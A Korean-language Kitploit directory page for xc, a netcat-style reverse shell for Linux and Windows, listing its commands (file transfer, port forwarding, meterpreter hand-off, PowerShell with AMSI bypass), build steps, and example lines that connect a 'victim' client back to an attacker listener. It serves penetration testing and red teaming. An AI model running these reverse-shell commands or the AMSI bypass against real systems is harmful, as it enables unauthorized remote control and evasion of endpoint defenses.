Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
xc — Linux 및 Windows용 소형 리버스 셸 | Kitploit
도구/GitHubGitHub/xct/xc
Payload GenerationPost-ExploitationPenetration TestingCommand and ControlRed TeamingRemote Access Tool
GitHubxct/xc

xc

Linux 및 Windows용 소형 리버스 셸

저장소 보기
647115164년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

XC

Linux 및 Windows용 Netcat 스타일 리버스 셸.

특징

Windows

사용법:
└ 공통 명령어:  !exit
  !upload <src> <dst>
   * 대상에 파일을 업로드합니다
  !download <src> <dst>
   * 대상에서 파일을 다운로드합니다
  !lfwd <localport> <remoteaddr> <remoteport>
   * 로컬 포트 포워딩 (ssh -L과 유사)
  !rfwd <remoteport> <localaddr> <localport>
   * 원격 포트 포워딩 (ssh -R과 유사)
  !lsfwd
   * 활성 포워딩 목록을 출력합니다
  !rmfwd <index>
   * 인덱스로 포워딩을 제거합니다
  !plugins
   * 사용 가능한 플러그인 목록을 출력합니다
  !plugin <plugin>
   * 플러그인을 실행합니다
  !spawn <port>
   * 지정된 포트에 다른 클라이언트를 생성합니다
  !shell
   * /bin/sh를 실행합니다
  !runas <username> <password> <domain>
   * 지정된 사용자로 xc를 재시작합니다
  !met <port>
   * x64/meterpreter/reverse_tcp 리스너에 연결합니다
└ OS별 명령어:
  !powershell
    * AMSI 우회와 함께 powershell을 시작합니다
  !rc <port>
    * 로컬 바인드 셸에 연결하고 이 클라이언트를 통해 재시작합니다
  !runasps <username> <password> <domain>
    * powershell을 사용하여 지정된 사용자로 xc를 재시작합니다
  !vulns
    * 일반적인 취약점을 확인합니다

Linux

사용법:
└ 공통 명령어:  !exit
  !upload <src> <dst>
   * 대상에 파일을 업로드합니다
  !download <src> <dst>
   * 대상에서 파일을 다운로드합니다
  !lfwd <localport> <remoteaddr> <remoteport>
   * 로컬 포트 포워딩 (ssh -L과 유사)
  !rfwd <remoteport> <localaddr> <localport>
   * 원격 포트 포워딩 (ssh -R과 유사)
  !lsfwd
   * 활성 포워딩 목록을 출력합니다
  !rmfwd <index>
   * 인덱스로 포워딩을 제거합니다
  !plugins
   * 사용 가능한 플러그인 목록을 출력합니다
  !plugin <plugin>
   * 플러그인을 실행합니다
  !spawn <port>
   * 지정된 포트에 다른 클라이언트를 생성합니다
  !shell
   * /bin/sh를 실행합니다
  !runas <username> <password> <domain>
   * 지정된 사용자로 xc를 재시작합니다
  !met <port>
   * x64/meterpreter/reverse_tcp 리스너에 연결합니다
└ OS별 명령어:
 !ssh <port>
   * 지정된 포트에서 설정된 키로 sshd를 시작합니다

예제

  • Linux 공격자: rlwrap xc -l -p 1337 (서버)
  • Windows 피해자: xc.exe 10.10.14.4 1337 (클라이언트)
  • 인자 없음: xc_10.10.14.4_1337.exe (클라이언트)

설정

golang 버전 1.15 이상을 사용하고 있는지 확인하세요. 이전 버전은 컴파일되지 않습니다. ubuntu에서 테스트했습니다: go version go1.16.2 linux/amd64 및 kali go version go1.15.9 linux/amd64

git clone --recurse-submodules https://github.com/xct/xc.git

GO111MODULE=off go get golang.org/x/sys/...
GO111MODULE=off go get golang.org/x/text/encoding/unicode
GO111MODULE=off go get github.com/hashicorp/yamux
GO111MODULE=off go get github.com/libp2p/go-reuseport
sudo apt-get install rlwrap upx

Linux:

python3 build.py

크레딧

  • Windows 클라이언트에 포함됨: https://github.com/itm4n/PrivescCheck
  • Windows 클라이언트에 포함됨: https://github.com/PowerShell/Win32-OpenSSH
도구 다운로드